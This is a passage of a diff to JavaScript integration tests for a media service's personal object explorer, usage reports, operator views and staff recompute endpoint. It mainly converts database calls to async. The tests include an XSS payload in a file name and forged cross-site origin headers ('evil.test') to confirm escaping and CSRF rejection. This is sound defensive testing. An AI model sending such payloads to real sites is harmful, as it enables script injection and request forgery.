[[avatar, 'live.avatars']]);++ r = await call('GET', '/api/v2/me/objects?q=NOTE-2', { token: 'ana' });++ assert.deepStrictEqual(r.json.objects.map(o => o.filename).sort(), ['note-2.txt', 'note-20.txt', 'note-21.txt', 'note-22.txt', 'note-23.txt', 'note-24.txt', 'note-25.txt', 'note-26.txt', 'note-27.txt', 'note-28.txt', 'note-29.txt']);++ r = await call('GET', `/api/v2/me/objects?q=${benIds[0]}`, { token: 'ana' });++ assert.deepStrictEqual(r.json.objects, [], 'searching for someone else\'s id finds nothing');++ r = await call('GET', '/api/v2/me/objects?q=ben-', { token: 'ana' });++ assert.deepStrictEqual(r.json.objects, []);++ console.log('✅ filters: status, tenant, kind, search (name, title, type, id), all within her own objects');-- // ── Upload progress, derivatives, holds ──-- const byId = Object.fromEntries(anaAll.map(o => [o.id, o]));-- assert.deepStrictEqual(-- (({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }) => ({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }))(byId[multi].upload),-- { method: 'multipart', waiting_for: 'parts', received_bytes: 2 * 1048576, parts_received: 2, parts_expected: 4, declared_bytes: 4 * 1048576, percent: 50 });-- assert.ok(byId[multi].upload.expires_at && byId[multi].upload.session_expires_at, 'when the upload fails if unfinished');-- assert.deepStrictEqual([byId[stored].upload.waiting_for, byId[stored].upload.received_bytes, byId[stored].upload.percent], ['complete', 300, 100]);-- assert.deepStrictEqual([byId[streaming].upload.streaming, byId[streaming].upload.received_bytes, byId[streaming].upload.percent], [true, 250, 25]);-- assert.strictEqual(byId[anaReady[0]].upload, null);-- assert.strictEqual(byId[anaReady[0]].derivatives, 1, 'the waveform counts as a derivative');-- assert.strictEqual(byId[anaReady[3]].derivatives, 0);-- assert.strictEqual(byId[anaReady[1]].held, true);-- assert.strictEqual(byId[failed].failure, 'upload_expired');-- assert.ok(byId[deleted].deleted.retention_until && byId[deleted].deleted.purged === false);-- assert.strictEqual(byId[tricky].public_url, `https://media.test/o/${tricky}`, 'a public ready object links to its bytes');-- assert.strictEqual(byId[anaReady[0]].public_url, null, 'a private one does not');-- assert.deepStrictEqual(byId[anaReady[0]].readiness, { metadata: true, bytes_verified: true, playable: false, reason: 'not_playback_kind' });-- const listText = JSON.stringify(anaAll);-- for (const secret of ['SECRET-HOLD-REASON', 'SECRET-NOTE', 'staff:x', 'evidence', process.env.OBJECTS_PATH, 'canonical_key']) {-- assert.ok(!listText.includes(secret), `the owner's view never carries ${secret}`);-- }-- r = await call('GET', `/api/v2/me/objects/${anaReady[0]}`, { token: 'ana' });-- assert.strictEqual(r.status, 200);-- assert.deepStrictEqual(r.json.derivative_list.map(d => [d.id, d.name, d.kind, d.mine]), [[wave, 'waveform', 'asset', true]]);-- assert.deepStrictEqual(r.json.locations.map(l => [l.provider, l.state, l.canonical]), [['local', 'present', false]]);-- assert.deepStrictEqual(r.json.jobs, []);-- r = await call('GET', `/api/v2/me/objects/${wave}`, { token: 'ana' });-- assert.deepStrictEqual(r.json.source, { id: anaReady[0], relation: 'derived_from' });-- r = await call('GET', `/api/v2/me/objects/${anaReady[2]}`, { token: 'ana' });-- assert.deepStrictEqual(r.json.jobs.map(j => [j.id, j.type, j.status, j.error_code]), [['mjob_TESTFAILED', 'object.sprite', 'failed', 'no_video']]);-- assert.ok(!JSON.stringify(r.json).includes('ffmpeg exited'), 'job error text stays with operators');-- console.log('✅ uploads (multipart parts, stored bytes, a PUT streaming), derivatives, holds (only whether), no keys or staff notes');++ // ── Upload progress, derivatives, holds ──++ const byId = Object.fromEntries(anaAll.map(o => [o.id, o]));++ assert.deepStrictEqual(++ (({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }) => ({ method, waiting_for, received_bytes, parts_received, parts_expected, declared_bytes, percent }))(byId[multi].upload),++ { method: 'multipart', waiting_for: 'parts', received_bytes: 2 * 1048576, parts_received: 2, parts_expected: 4, declared_bytes: 4 * 1048576, percent: 50 });++ assert.ok(byId[multi].upload.expires_at && byId[multi].upload.session_expires_at, 'when the upload fails if unfinished');++ assert.deepStrictEqual([byId[stored].upload.waiting_for, byId[stored].upload.received_bytes, byId[stored].upload.percent], ['complete', 300, 100]);++ assert.deepStrictEqual([byId[streaming].upload.streaming, byId[streaming].upload.received_bytes, byId[streaming].upload.percent], [true, 250, 25]);++ assert.strictEqual(byId[anaReady[0]].upload, null);++ assert.strictEqual(byId[anaReady[0]].derivatives, 1, 'the waveform counts as a derivative');++ assert.strictEqual(byId[anaReady[3]].derivatives, 0);++ assert.strictEqual(byId[anaReady[1]].held, true);++ assert.strictEqual(byId[failed].failure, 'upload_expired');++ assert.ok(byId[deleted].deleted.retention_until && byId[deleted].deleted.purged === false);++ assert.strictEqual(byId[tricky].public_url, `https://media.test/o/${tricky}`, 'a public ready object links to its bytes');++ assert.strictEqual(byId[anaReady[0]].public_url, null, 'a private one does not');++ assert.deepStrictEqual(byId[anaReady[0]].readiness, { metadata: true, bytes_verified: true, playable: false, reason: 'not_playback_kind' });++ const listText = JSON.stringify(anaAll);++ for (const secret of ['SECRET-HOLD-REASON', 'SECRET-NOTE', 'staff:x', 'evidence', process.env.OBJECTS_PATH, 'canonical_key']) {++ assert.ok(!listText.includes(secret), `the owner's view never carries ${secret}`);++ }++ r = await call('GET', `/api/v2/me/objects/${anaReady[0]}`, { token: 'ana' });++ assert.strictEqual(r.status, 200);++ assert.deepStrictEqual(r.json.derivative_list.map(d => [d.id, d.name, d.kind, d.mine]), [[wave, 'waveform', 'asset', true]]);++ assert.deepStrictEqual(r.json.locations.map(l => [l.provider, l.state, l.canonical]), [['local', 'present', false]]);++ assert.deepStrictEqual(r.json.jobs, []);++ r = await call('GET', `/api/v2/me/objects/${wave}`, { token: 'ana' });++ assert.deepStrictEqual(r.json.source, { id: anaReady[0], relation: 'derived_from' });++ r = await call('GET', `/api/v2/me/objects/${anaReady[2]}`, { token: 'ana' });++ assert.deepStrictEqual(r.json.jobs.map(j => [j.id, j.type, j.status, j.error_code]), [['mjob_TESTFAILED', 'object.sprite', 'failed', 'no_video']]);++ assert.ok(!JSON.stringify(r.json).includes('ffmpeg exited'), 'job error text stays with operators');++ console.log('✅ uploads (multipart parts, stored bytes, a PUT streaming), derivatives, holds (only whether), no keys or staff notes');-- // ── Usage ──-- r = await call('GET', '/api/v2/me/usage', { token: 'ana' });-- assert.strictEqual(r.status, 200);-- const u = r.json;-- const sum = (list) => list.reduce((a, id) => a + Number(model.getObject(id).size_bytes), 0);-- const readyLive = [...anaReady, tricky, wave];-- assert.strictEqual(u.totals.stored_bytes, sum([...readyLive, avatar, inTools]));-- assert.strictEqual(u.totals.objects, anaIds.length - 1, 'deleted objects are not counted as objects');-- assert.deepStrictEqual(u.totals.by_status.uploading, { objects: 3, bytes: 4 * 1048576 + 300 + 1000 });-- assert.deepStrictEqual(u.totals.by_status.deleted, { objects: 1, bytes: 40 });-- assert.deepStrictEqual(u.tenants.map(t => t.app_id), ['live', 'tools']);-- const live = u.tenants[0];-- assert.deepStrictEqual(live.namespaces.map(n => n.namespace), ['live', 'live.avatars']);-- assert.strictEqual(live.namespaces[0].stored_bytes, sum(readyLive));-- assert.strictEqual(live.namespaces[1].stored_bytes, 500);-- assert.strictEqual(u.tenants[1].stored_bytes, 2048);-- assert.strictEqual(u.quotas, null);-- assert.ok(!/quota_bytes|quota_objects|used_bytes/.test(JSON.stringify(u)), 'no tenant quota or tenant totals');-- const ub = (await call('GET', '/api/v2/me/usage', { token: 'ben' })).json;-- assert.strictEqual(ub.totals.stored_bytes, 3 * 999999 + 1, 'Ben\'s usage is his own');-- console.log('✅ usage: her objects and bytes per tenant and namespace, by status; no quotas');++ // ── Usage ──++ r = await call('GET', '/api/v2/me/usage', { token: 'ana' });++ assert.strictEqual(r.status, 200);++ const u = r.json;++ const sum = async (list) => { let a = 0; for (const id of list) a += Number((await model.getObject(id)).size_bytes); return a; };++ const readyLive = [...anaReady, tricky, wave];++ assert.strictEqual(u.totals.stored_bytes, await sum([...readyLive, avatar, inTools]));++ assert.strictEqual(u.totals.objects, anaIds.length - 1, 'deleted objects are not counted as objects');++ assert.deepStrictEqual(u.totals.by_status.uploading, { objects: 3, bytes: 4 * 1048576 + 300 + 1000 });++ assert.deepStrictEqual(u.totals.by_status.deleted, { objects: 1, bytes: 40 });++ assert.deepStrictEqual(u.tenants.map(t => t.app_id), ['live', 'tools']);++ const live = u.tenants[0];++ assert.deepStrictEqual(live.namespaces.map(n => n.namespace), ['live', 'live.avatars']);++ assert.strictEqual(live.namespaces[0].stored_bytes, await sum(readyLive));++ assert.strictEqual(live.namespaces[1].stored_bytes, 500);++ assert.strictEqual(u.tenants[1].stored_bytes, 2048);++ assert.strictEqual(u.quotas, null);++ assert.ok(!/quota_bytes|quota_objects|used_bytes/.test(JSON.stringify(u)), 'no tenant quota or tenant totals');++ const ub = (await call('GET', '/api/v2/me/usage', { token: 'ben' })).json;++ assert.strictEqual(ub.totals.stored_bytes, 3 * 999999 + 1, 'Ben\'s usage is his own');++ console.log('✅ usage: her objects and bytes per tenant and namespace, by status; no quotas');-- // ── The page, without JavaScript ──-- r = await call('GET', '/me', { cookie: 'ana' });-- assert.strictEqual(r.status, 200);-- const rows = r.text.match(/<tr data-id="med_/g) || [];-- assert.strictEqual(rows.length, 25, 'the first page of objects is in the HTML');-- assert.ok(r.text.includes('Signed in as <strong>@ana</strong>'));-- assert.ok(r.text.includes('<script>alert(1)</script>.txt') && !r.text.includes('<script>alert(1)'), 'names are escaped');-- const next = /id="me-next" rel="next" href="([^"]+)"/.exec(r.text);-- assert.ok(next && /cursor=med_/.test(next[1]) && !/me-next[^>]*hidden/.test(r.text.slice(r.text.indexOf('id="me-next"') - 40, r.text.indexOf('id="me-next"') + 200)), 'a next-page link');-- assert.ok(/<script src="\/me\/app\.js\?v=[0-9a-f]{12}" defer><\/script>/.test(r.text), 'the enhancement is a same-origin script');-- assert.ok(r.text.includes('Read-only.') && r.text.includes('class="grid stack usage"') && r.text.includes('live.avatars'));-- assert.ok(r.text.includes('<progress max="100" value="50"'), 'upload progress without JavaScript');-- for (const b of benIds) assert.ok(!r.text.includes(b));-- assert.ok(/<label for="f-q">/.test(r.text) && /<caption class="sr">/.test(r.text), 'labelled filters, captioned tables');-- assert.ok(!/\bfree\b/i.test(r.text), 'no cost claims in served HTML');-- assert.ok(r.text.includes('"menu":{"before":[{"id":"media-mine","label":"Your media","href":"/me"'), 'the account menu links /me');-- assert.ok(!r.text.includes('href="/me/ops"'), 'no operator link for a user');-- assert.ok((await call('GET', '/me', { cookie: 'admin' })).text.includes('href="/me/ops"'), 'staff get one');-- r = await call('GET', next[1].replace(/&/g, '&'), { cookie: 'ana' });-- assert.strictEqual(r.status, 200);-- assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, anaIds.length - 1 - 25, 'the second page');-- assert.ok(r.text.includes('>Newest</a>'));-- r = await call('GET', '/me/?kind=avatar&app=live', { cookie: 'ana' });-- assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, 1, '/me/ and filters as a GET form');-- assert.ok(r.text.includes('<option value="avatar" selected>'));-- r = await call('GET', `/me/objects/${anaReady[0]}`, { cookie: 'ana' });-- assert.ok(r.status === 200 && r.text.includes('waveform') && r.text.includes('Copies') && r.text.includes('noindex'));-- r = await call('GET', `/me/objects/${multi}`, { cookie: 'ana' });-- assert.ok(r.text.includes('data-upload=') && r.text.includes('/me/app.js'), 'an upload in progress is polled on its page');-- r = await call('GET', '/me/app.js?v=x');-- assert.ok(r.status === 200 && /javascript/.test(r.headers['content-type']) && r.text.includes('/api/v2/me/objects'));-- assert.ok(!/innerHTML/.test(r.text), 'the script builds nodes, never markup');-- console.log('✅ /me without JavaScript: first page, pager, filters, usage, progress; escaped; detail pages');++ // ── The page, without JavaScript ──++ r = await call('GET', '/me', { cookie: 'ana' });++ assert.strictEqual(r.status, 200);++ const rows = r.text.match(/<tr data-id="med_/g) || [];++ assert.strictEqual(rows.length, 25, 'the first page of objects is in the HTML');++ assert.ok(r.text.includes('Signed in as <strong>@ana</strong>'));++ assert.ok(r.text.includes('<script>alert(1)</script>.txt') && !r.text.includes('<script>alert(1)'), 'names are escaped');++ const next = /id="me-next" rel="next" href="([^"]+)"/.exec(r.text);++ assert.ok(next && /cursor=med_/.test(next[1]) && !/me-next[^>]*hidden/.test(r.text.slice(r.text.indexOf('id="me-next"') - 40, r.text.indexOf('id="me-next"') + 200)), 'a next-page link');++ assert.ok(/<script src="\/me\/app\.js\?v=[0-9a-f]{12}" defer><\/script>/.test(r.text), 'the enhancement is a same-origin script');++ assert.ok(r.text.includes('Read-only.') && r.text.includes('class="grid stack usage"') && r.text.includes('live.avatars'));++ assert.ok(r.text.includes('<progress max="100" value="50"'), 'upload progress without JavaScript');++ for (const b of benIds) assert.ok(!r.text.includes(b));++ assert.ok(/<label for="f-q">/.test(r.text) && /<caption class="sr">/.test(r.text), 'labelled filters, captioned tables');++ assert.ok(!/\bfree\b/i.test(r.text), 'no cost claims in served HTML');++ assert.ok(r.text.includes('"menu":{"before":[{"id":"media-mine","label":"Your media","href":"/me"'), 'the account menu links /me');++ assert.ok(!r.text.includes('href="/me/ops"'), 'no operator link for a user');++ assert.ok((await call('GET', '/me', { cookie: 'admin' })).text.includes('href="/me/ops"'), 'staff get one');++ r = await call('GET', next[1].replace(/&/g, '&'), { cookie: 'ana' });++ assert.strictEqual(r.status, 200);++ assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, anaIds.length - 1 - 25, 'the second page');++ assert.ok(r.text.includes('>Newest</a>'));++ r = await call('GET', '/me/?kind=avatar&app=live', { cookie: 'ana' });++ assert.strictEqual((r.text.match(/<tr data-id="med_/g) || []).length, 1, '/me/ and filters as a GET form');++ assert.ok(r.text.includes('<option value="avatar" selected>'));++ r = await call('GET', `/me/objects/${anaReady[0]}`, { cookie: 'ana' });++ assert.ok(r.status === 200 && r.text.includes('waveform') && r.text.includes('Copies') && r.text.includes('noindex'));++ r = await call('GET', `/me/objects/${multi}`, { cookie: 'ana' });++ assert.ok(r.text.includes('data-upload=') && r.text.includes('/me/app.js'), 'an upload in progress is polled on its page');++ r = await call('GET', '/me/app.js?v=x');++ assert.ok(r.status === 200 && /javascript/.test(r.headers['content-type']) && r.text.includes('/api/v2/me/objects'));++ assert.ok(!/innerHTML/.test(r.text), 'the script builds nodes, never markup');++ console.log('✅ /me without JavaScript: first page, pager, filters, usage, progress; escaped; detail pages');-- // ── Crawlers ──-- r = await call('GET', '/sitemap.xml');-- const locs = [...r.text.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);-- assert.ok(r.status === 200 && locs.length && locs.every(l => !/^https:\/\/media\.test\/me([/?]|$)/.test(l)), 'the sitemap never lists /me');-- r = await call('GET', '/robots.txt');-- assert.ok(/^Disallow: \/me$/m.test(r.text), 'robots.txt keeps crawlers out of /me');-- console.log('✅ /me is not in the sitemap and is disallowed in robots.txt');++ // ── Crawlers ──++ r = await call('GET', '/sitemap.xml');++ const locs = [...r.text.matchAll(/<loc>([^<]+)<\/loc>/g)].map(m => m[1]);++ assert.ok(r.status === 200 && locs.length && locs.every(l => !/^https:\/\/media\.test\/me([/?]|$)/.test(l)), 'the sitemap never lists /me');++ r = await call('GET', '/robots.txt');++ assert.ok(/^Disallow: \/me$/m.test(r.text), 'robots.txt keeps crawlers out of /me');++ console.log('✅ /me is not in the sitemap and is disallowed in robots.txt');-- // ── Operator views ──-- r = await call('GET', '/api/v2/me/ops', { token: 'ana' });-- assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.denied']);-- assert.strictEqual((await call('GET', '/api/v2/me/ops', { token: 'mod' })).status, 403, 'a global_mod does not hold staff.site.view');-- assert.strictEqual((await call('GET', '/api/v2/me/ops')).status, 401);-- r = await call('GET', '/me/ops', { cookie: 'ana' });-- assert.ok(r.status === 403 && r.text.includes('staff.site.view') && !r.text.includes('mjob_TESTFAILED'));-- r = await call('GET', '/api/v2/me/ops', { token: 'admin' });-- assert.strictEqual(r.status, 200, r.text);-- const rep = r.json;-- assert.strictEqual(rep.scope, 'all');-- assert.deepStrictEqual(rep.jobs.failed.recent.map(j => [j.id, j.error_code, j.error]), [['mjob_TESTFAILED', 'no_video', 'ffmpeg exited 1']]);-- assert.deepStrictEqual(rep.jobs.failed.last_7_days, [{ type: 'object.sprite', error_code: 'no_video', count: 1 }]);-- assert.ok(rep.missing.no_good_copy.objects.some(o => o.id === lost), 'a ready object whose only copy is missing');-- assert.ok(rep.missing.locations.missing_or_corrupt.some(l => l.object_id === lost && l.provider === 'b2'));-- assert.ok(rep.backfill.unprojected && rep.backfill.owner_subject.missing >= 1);-- assert.ok(rep.tiering.objects.some(o => o.origin === 'native') && rep.tiering.sweep && 'pending_offload' in rep.tiering);-- assert.ok(rep.namespaces.some(n => n.namespace === 'live.avatars'));-- r = await call('GET', '/api/v2/me/ops?app=tools', { token: 'admin' });-- assert.deepStrictEqual([r.json.scope, r.json.jobs.failed.total, r.json.namespaces.map(n => n.namespace)], ['tools', 0, ['tools']]);-- r = await call('GET', '/me/ops', { cookie: 'admin' });-- assert.ok(r.status === 200 && r.text.includes('mjob_TESTFAILED') && r.text.includes('action="/me/ops/recompute"') && r.text.includes('noindex'));-- console.log('✅ operator views: staff.site.view only (not users, not global mods); failed jobs, missing media, backfill, tiering, namespaces');++ // ── Operator views ──++ r = await call('GET', '/api/v2/me/ops', { token: 'ana' });++ assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.denied']);++ assert.strictEqual((await call('GET', '/api/v2/me/ops', { token: 'mod' })).status, 403, 'a global_mod does not hold staff.site.view');++ assert.strictEqual((await call('GET', '/api/v2/me/ops')).status, 401);++ r = await call('GET', '/me/ops', { cookie: 'ana' });++ assert.ok(r.status === 403 && r.text.includes('staff.site.view') && !r.text.includes('mjob_TESTFAILED'));++ r = await call('GET', '/api/v2/me/ops', { token: 'admin' });++ assert.strictEqual(r.status, 200, r.text);++ const rep = r.json;++ assert.strictEqual(rep.scope, 'all');++ assert.deepStrictEqual(rep.jobs.failed.recent.map(j => [j.id, j.error_code, j.error]), [['mjob_TESTFAILED', 'no_video', 'ffmpeg exited 1']]);++ assert.deepStrictEqual(rep.jobs.failed.last_7_days, [{ type: 'object.sprite', error_code: 'no_video', count: 1 }]);++ assert.ok(rep.missing.no_good_copy.objects.some(o => o.id === lost), 'a ready object whose only copy is missing');++ assert.ok(rep.missing.locations.missing_or_corrupt.some(l => l.object_id === lost && l.provider === 'b2'));++ assert.ok(rep.backfill.unprojected && rep.backfill.owner_subject.missing >= 1);++ assert.ok(rep.tiering.objects.some(o => o.origin === 'native') && rep.tiering.sweep && 'pending_offload' in rep.tiering);++ assert.ok(rep.namespaces.some(n => n.namespace === 'live.avatars'));++ r = await call('GET', '/api/v2/me/ops?app=tools', { token: 'admin' });++ assert.deepStrictEqual([r.json.scope, r.json.jobs.failed.total, r.json.namespaces.map(n => n.namespace)], ['tools', 0, ['tools']]);++ r = await call('GET', '/me/ops', { cookie: 'admin' });++ assert.ok(r.status === 200 && r.text.includes('mjob_TESTFAILED') && r.text.includes('action="/me/ops/recompute"') && r.text.includes('noindex'));++ console.log('✅ operator views: staff.site.view only (not users, not global mods); failed jobs, missing media, backfill, tiering, namespaces');-- // ── Recompute: staff.site.configure, same-origin ──-- db.run("UPDATE media_namespaces SET used_bytes = 0, used_objects = 0, reconciled_at = NULL WHERE namespace = 'live'");-- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin' })).status, 403, 'a cookie-borne write needs this site as its origin');-- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://evil.test' } })).status, 403);-- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { 'sec-fetch-site': 'cross-site', origin: 'https://media.test' } })).status, 403);-- assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { token: 'ana' })).status, 403, 'users cannot recompute');-- assert.strictEqual(db.get("SELECT used_bytes FROM media_namespaces WHERE namespace = 'live'").used_bytes, 0, 'nothing ran');-- r = await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://media.test' } });-- assert.strictEqual(r.status, 200, r.text);-- assert.deepStrictEqual([r.json.namespaces, r.json.scope], [db.get('SELECT COUNT(*) AS n FROM media_namespaces').n, 'all']);-- const liveRow = db.get("SELECT * FROM media_namespaces WHERE namespace = 'live'");-- assert.strictEqual(liveRow.used_bytes, namespaces.usage(db.getApp('live'), 'live').used_bytes);-- assert.ok(liveRow.used_bytes > 0 && liveRow.reconciled_at, 'the snapshot is counted again from the rows');-- r = await call('POST', '/me/ops/recompute?app=tools', { cookie: 'admin', headers: { 'sec-fetch-site': 'same-origin', 'content-type': 'application/x-www-form-urlencoded' }, body: 'x=1' });-- assert.deepStrictEqual([r.status, r.headers.location], [303, '/me/ops?app=tools&recomputed=1'], 'the form posts and comes back to the page');-- r = await call('POST', '/api/v2/me/ops/recompute', { token: 'admin' });-- assert.strictEqual(r.status, 200, 'a bearer token is not a cookie: no cross-site risk');-- console.log('✅ recompute: staff.site.configure, same-origin for the cookie, refreshes the snapshot; the page form redirects back');++ // ── Recompute: staff.site.configure, same-origin ──++ await db.run("UPDATE media_namespaces SET used_bytes = 0, used_objects = 0, reconciled_at = NULL WHERE namespace = 'live'");++ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin' })).status, 403, 'a cookie-borne write needs this site as its origin');++ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://evil.test' } })).status, 403);++ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { 'sec-fetch-site': 'cross-site', origin: 'https://media.test' } })).status, 403);++ assert.strictEqual((await call('POST', '/api/v2/me/ops/recompute', { token: 'ana' })).status, 403, 'users cannot recompute');++ assert.strictEqual((await db.get("SELECT used_bytes FROM media_namespaces WHERE namespace = 'live'")).used_bytes, 0, 'nothing ran');++ r = await call('POST', '/api/v2/me/ops/recompute', { cookie: 'admin', headers: { origin: 'https://media.test' } });++ assert.strictEqual(r.status, 200, r.text);++ assert.deepStrictEqual([r.json.namespaces, r.json.scope], [(await db.get('SELECT COUNT(*) AS n FROM media_namespaces')).n, 'all']);++ const liveRow = await db.get("SELECT * FROM media_namespaces WHERE namespace = 'live'");++ assert.strictEqual(liveRow.used_bytes, (await namespaces.usage(await db.getApp('live'), 'live')).used_bytes);++ assert.ok(liveRow.used_bytes > 0 && liveRow.reconciled_at, 'the snapshot is counted again from the rows');++ r = await call('POST', '/me/ops/recompute?app=tools', { cookie: 'admin', headers: { 'sec-fetch-site': 'same-origin', 'content-type': 'application/x-www-form-urlencoded' }, body: 'x=1' });++ assert.deepStrictEqual([r.status, r.headers.location], [303, '/me/ops?app=tools&recomputed=1'], 'the form posts and comes back to the page');++ r = await call('POST', '/api/v2/me/ops/recompute', { token: 'admin' });++ assert.strictEqual(r.status, 200, 'a bearer token is not a cookie: no cross-site risk');++ console.log('✅ recompute: staff.site.configure, same-origin for the cookie, refreshes the snapshot; the page form redirects back');-- // ── The app-key twin in the admin routes ──-- r = await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key' });-- assert.strictEqual(r.status, 200, r.text);-- assert.strictEqual(r.json.scope, 'live');-- assert.ok(r.json.namespaces.every(n => n.app_id === 'live'));-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key', headers: { 'x-ov-user-id': '5' } })).status, 403, 'never acting for a user');-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'ana' })).status, 401);-- r = await call('POST', '/api/v1/tools/admin/storage/ops/recompute', { token: 'tools-key' });-- assert.deepStrictEqual([r.status, r.json.scope, r.json.namespaces], [200, 'tools', 1]);-- console.log('✅ /api/v1/:app/admin/storage/ops: the same report for the app key, scoped to its tenant');++ // ── The app-key twin in the admin routes ──++ r = await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key' });++ assert.strictEqual(r.status, 200, r.text);++ assert.strictEqual(r.json.scope, 'live');++ assert.ok(r.json.namespaces.every(n => n.app_id === 'live'));++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'live-key', headers: { 'x-ov-user-id': '5' } })).status, 403, 'never acting for a user');++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/ops', { token: 'ana' })).status, 401);++ r = await call('POST', '/api/v1/tools/admin/storage/ops/recompute', { token: 'tools-key' });++ assert.deepStrictEqual([r.status, r.json.scope, r.json.namespaces], [200, 'tools', 1]);++ console.log('✅ /api/v1/:app/admin/storage/ops: the same report for the app key, scoped to its tenant');-- // ── Routes under /api/v2/me are the explorer's only ──-- r = await call('GET', '/api/v2/me/namespaces', { token: 'ana' });-- assert.deepStrictEqual([r.status, r.json.code], [404, 'media.not_found']);-- console.log('me-explorer: all checks passed');-- } finally {-- server.close();-- try { db.close(); } catch { /* */ }-- fs.rmSync(tmp, { recursive: true, force: true });-- }--})().catch((e) => { console.error(e); process.exit(1); });++ // ── Routes under /api/v2/me are the explorer's only ──++ r = await call('GET', '/api/v2/me/namespaces', { token: 'ana' });++ assert.deepStrictEqual([r.status, r.json.code], [404, 'media.not_found']);++ console.log('me-explorer: all checks passed');++ } finally {++ server.close();++ try { await db.close(); } catch { /* */ }++ fs.rmSync(tmp, { recursive: true, force: true });++ }++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,60 +8,62 @@ const fs = require('fs');const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-modevents-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),--});--const stub = http.createServer((req, res) => { req.resume(); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.statusCode = 404; res.end('{}'); }); });--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const contracts = require('openvibe-contracts');-- const db = require('../server/db/database');-- const conn = db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'live-key-modev' });-- const events = require('../server/events');-- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });-- const model = require('../server/objects/model');-- const moderation = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope)).filter((e) => e.event_type === 'media.moderation.action');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-modevents-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ });++ const stub = http.createServer((req, res) => { req.resume(); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.statusCode = 404; res.end('{}'); }); });++++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const contracts = require('openvibe-contracts');++ const db = require('../server/db/database');++ const conn = db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-modev' });++ const events = require('../server/events');++ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ const model = require('../server/objects/model');++ const moderation = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope)).filter((e) => e.event_type === 'media.moderation.action');-- const OWNER = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPR', STAFF = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';-- const obj = model.createObject({ app_id: 'live', kind: 'vod', owner_subject: OWNER, lifecycle_status: 'ready', mime_type: 'video/webm', size_bytes: 1 });++ const OWNER = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPR', STAFF = 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ';++ const obj = await model.createObject({ app_id: 'live', kind: 'vod', owner_subject: OWNER, lifecycle_status: 'ready', mime_type: 'video/webm', size_bytes: 1 });-- const hold = model.placeHold({ object_id: obj, kind: 'moderation', reason: 'reported for review', placed_by: STAFF, note: 'ticket 12' });-- let ev = moderation();-- assert.strictEqual(ev.length, 1, 'one event for the placed hold');-- const e = ev[0];-- assert.ok(contracts.validate('media.moderation.action@1', e.payload).valid, JSON.stringify(contracts.validate('media.moderation.action@1', e.payload).errors));-- assert.deepStrictEqual(e.payload.target, { type: 'vod', id: obj, owner_subject: OWNER });-- assert.deepStrictEqual([e.payload.action, e.payload.actor_subject, e.payload.reason, e.payload.details.kind, e.payload.details.hold_id], ['hold.placed', STAFF, 'reported for review', 'moderation', hold.id]);-- assert.deepStrictEqual([e.actor, e.subject, e.visibility], [{ type: 'user', id: STAFF }, { type: 'moderation_action', id: `vod:${obj}` }, 'internal']);-- assert.ok(!JSON.stringify(e.payload).includes('ticket 12'), 'the staff note stays in Media');++ const hold = await model.placeHold({ object_id: obj, kind: 'moderation', reason: 